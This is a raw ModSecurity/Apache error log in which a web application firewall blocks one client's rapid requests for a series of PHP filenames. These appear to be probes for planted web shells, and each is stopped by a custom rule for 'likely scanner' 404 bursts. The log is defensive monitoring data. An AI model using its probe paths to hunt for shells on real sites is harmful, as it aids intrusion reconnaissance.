[Mon Mar 02 04:24:04.651617 2026] [:error] [pid 28795:tid 28887] [client 20.104.124.39:37886] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaSgZLROd53wZBkdI_foPwAAAJg"]
[Mon Mar 02 04:24:05.427080 2026] [:error] [pid 28795:tid 28864] [client 20.104.124.39:37843] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaSgZbROd53wZBkdI_foRgAAAIE"]
[Mon Mar 02 04:24:07.348821 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37777] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaSgZ_-JFLfishX45N_VqAAAAQQ"]
[Mon Mar 02 04:24:07.949566 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:37772] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaSgZ4qJmC8ih_lQQnC33gAAAMY"]
[Mon Mar 02 04:24:08.662761 2026] [:error] [pid 28795:tid 28881] [client 20.104.124.39:37856] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaSgaLROd53wZBkdI_foSQAAAJI"]
[Mon Mar 02 04:24:09.566199 2026] [:error] [pid 31257:tid 31284] [client 20.104.124.39:37847] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaSgaf-JFLfishX45N_VsAAAARU"]
[Mon Mar 02 04:24:10.144105 2026] [:error] [pid 28793:tid 28824] [client 20.104.124.39:37835] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaSgag2_fxBANaHo1f7uawAAABE"]
[Mon Mar 02 04:24:10.754547 2026] [:error] [pid 28794:tid 28839] [client 20.104.124.39:37774] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaSgaqVy2qpaelbUob3oewAAAEM"]
[Mon Mar 02 04:24:11.294193 2026] [:error] [pid 31257:tid 31266] [client 20.104.124.39:37873] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaSga_-JFLfishX45N_VtwAAAQM"]
[Mon Mar 02 04:24:12.040492 2026] [:error] [pid 31257:tid 31277] [client 20.104.124.39:37880] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaSgbP-JFLfishX45N_VugAAAQ4"]
[Mon Mar 02 04:24:13.042472 2026] [:error] [pid 28794:tid 28851] [client 20.104.124.39:37867] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaSgbaVy2qpaelbUob3ofQAAAE8"]
[Mon Mar 02 04:24:14.046079 2026] [:error] [pid 31257:tid 31272] [client 20.104.124.39:37763] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaSgbv-JFLfishX45N_V0gAAAQk"]
[Mon Mar 02 04:24:14.758636 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:37874] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaSgboqJmC8ih_lQQnC39gAAAMs"]
[Mon Mar 02 04:24:15.231143 2026] [:error] [pid 31257:tid 31284] [client 20.104.124.39:37848] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaSgb_-JFLfishX45N_V4gAAARU"]
[Mon Mar 02 04:24:15.714838 2026] [:error] [pid 28794:tid 28849] [client 20.104.124.39:37832] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaSgb6Vy2qpaelbUob3ogwAAAE0"]
[Mon Mar 02 04:24:16.274917 2026] [:error] [pid 28793:tid 28819] [client 20.104.124.39:37761] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaSgcA2_fxBANaHo1f7ucAAAAAw"]
[Mon Mar 02 04:24:16.973378 2026] [:error] [pid 31257:tid 31268] [client 20.104.124.39:37845] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaSgcP-JFLfishX45N_V7gAAAQU"]
[Mon Mar 02 04:24:17.408538 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:37883] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaSgcf-JFLfishX45N_V8QAAARY"]
[Mon Mar 02 04:24:17.996016 2026] [:error] [pid 28794:tid 28836] [client 20.104.124.39:37870] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaSgcaVy2qpaelbUob3ohwAAAEA"]
[Mon Mar 02 04:24:18.558618 2026] [:error] [pid 28794:tid 28847] [client 20.104.124.39:37808] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaSgcqVy2qpaelbUob3oiQAAAEs"]
[Mon Mar 02 04:24:19.143960 2026] [:error] [pid 31257:tid 31281] [client 20.104.124.39:37887] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaSgc_-JFLfishX45N_V-wAAARI"]
[Mon Mar 02 04:24:20.021636 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37857] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaSgdP-JFLfishX45N_V_wAAAQQ"]
[Mon Mar 02 04:24:20.753340 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37849] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaSgdIqJmC8ih_lQQnC4CQAAANQ"]
[Mon Mar 02 04:24:21.714896 2026] [:error] [pid 31257:tid 31278] [client 20.104.124.39:37831] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaSgdf-JFLfishX45N_WBQAAAQ8"]
[Mon Mar 02 04:24:22.739408 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:37872] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaSgdoqJmC8ih_lQQnC4FgAAAMU"]
[Mon Mar 02 04:24:23.960706 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:37846] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaSgd4qJmC8ih_lQQnC4GgAAAMQ"]
[Mon Mar 02 04:24:24.646682 2026] [:error] [pid 31257:tid 31279] [client 20.104.124.39:37765] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaSgeP-JFLfishX45N_WEQAAARA"]
[Mon Mar 02 04:24:25.570617 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:37775] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaSgef-JFLfishX45N_WFgAAAQw"]
[Mon Mar 02 04:24:26.259147 2026] [:error] [pid 31257:tid 31276] [client 20.104.124.39:37769] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaSgev-JFLfishX45N_WHAAAAQ0"]
[Mon Mar 02 04:24:27.013494 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37825] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaSge_-JFLfishX45N_WIwAAAQQ"]
[Mon Mar 02 04:24:27.552584 2026] [:error] [pid 28795:tid 28864] [client 20.104.124.39:37861] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaSge7ROd53wZBkdI_foaAAAAIE"]
[Mon Mar 02 04:24:28.049079 2026] [:error] [pid 31257:tid 31265] [client 20.104.124.39:37853] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaSgfP-JFLfishX45N_WKwAAAQI"]
[Mon Mar 02 04:24:28.637878 2026] [:error] [pid 28795:tid 28871] [client 20.104.124.39:37812] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaSgfLROd53wZBkdI_foaQAAAIg"]
[Mon Mar 02 04:24:29.239623 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37842] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaSgff-JFLfishX45N_WNAAAAQA"]
[Mon Mar 02 04:24:30.180280 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37833] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaSgfv-JFLfishX45N_WOwAAAQA"]
[Mon Mar 02 04:24:31.223118 2026] [:error] [pid 31257:tid 31268] [client 20.104.124.39:37794] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaSgf_-JFLfishX45N_WQQAAAQU"]
[Mon Mar 02 04:24:31.711682 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:37854] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaSgf4qJmC8ih_lQQnC4KAAAAM4"]
[Mon Mar 02 04:24:32.190406 2026] [:error] [pid 31257:tid 31276] [client 20.104.124.39:37844] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaSggP-JFLfishX45N_WRwAAAQ0"]
[Mon Mar 02 04:24:32.654486 2026] [:error] [pid 28794:tid 28836] [client 20.104.124.39:37881] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaSggKVy2qpaelbUob3oqQAAAEA"]
[Mon Mar 02 04:24:33.157754 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37884] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaSggf-JFLfishX45N_WTQAAAQA"]
[Mon Mar 02 04:24:34.102642 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:37701] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaSggoqJmC8ih_lQQnC4LQAAAMA"]
[Mon Mar 02 04:24:34.631190 2026] [:error] [pid 28794:tid 28852] [client 20.104.124.39:37699] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaSggqVy2qpaelbUob3oqwAAAFA"]
[Mon Mar 02 04:24:35.218106 2026] [:error] [pid 28794:tid 28844] [client 20.104.124.39:37779] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaSgg6Vy2qpaelbUob3orQAAAEg"]
[Mon Mar 02 04:24:35.890893 2026] [:error] [pid 28794:tid 28837] [client 20.104.124.39:37723] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaSgg6Vy2qpaelbUob3osAAAAEE"]
[Mon Mar 02 04:24:36.543100 2026] [:error] [pid 28794:tid 28846] [client 20.104.124.39:37776] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaSghKVy2qpaelbUob3oswAAAEo"]
[Mon Mar 02 04:24:36.993473 2026] [:error] [pid 28794:tid 28842] [client 20.104.124.39:37702] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaSghKVy2qpaelbUob3otgAAAEY"]
[Mon Mar 02 04:24:37.499247 2026] [:error] [pid 28908:tid 28918] [client 20.104.124.39:37824] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaSghYqJmC8ih_lQQnC4NQAAAMg"]
[Mon Mar 02 04:24:38.100701 2026] [:error] [pid 28795:tid 28881] [client 20.104.124.39:37710] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaSghrROd53wZBkdI_folAAAAJI"]
[Mon Mar 02 04:24:38.660342 2026] [:error] [pid 28794:tid 28847] [client 20.104.124.39:37865] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aaSghqVy2qpaelbUob3ouAAAAEs"]
[Mon Mar 02 04:24:39.228864 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:37875] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aaSgh4qJmC8ih_lQQnC4OQAAAMs"]
[Mon Mar 02 04:24:39.937998 2026] [:error] [pid 31257:tid 31281] [client 20.104.124.39:37859] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aaSgh_-JFLfishX45N_WWwAAARI"]
[Mon Mar 02 04:24:40.368174 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:37796] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aaSgiIqJmC8ih_lQQnC4PAAAAMU"]
[Mon Mar 02 04:24:40.968074 2026] [:error] [pid 31257:tid 31282] [client 20.104.124.39:37839] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aaSgiP-JFLfishX45N_WXgAAARM"]
[Mon Mar 02 04:24:41.436021 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37797] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aaSgif-JFLfishX45N_WYQAAAQQ"]
[Mon Mar 02 04:24:42.019876 2026] [:error] [pid 28908:tid 28912] [client 20.104.124.39:37810] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aaSgioqJmC8ih_lQQnC4QQAAAMI"]
[Mon Mar 02 04:24:42.538701 2026] [:error] [pid 28795:tid 28883] [client 20.104.124.39:37799] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aaSgirROd53wZBkdI_fotQAAAJQ"]
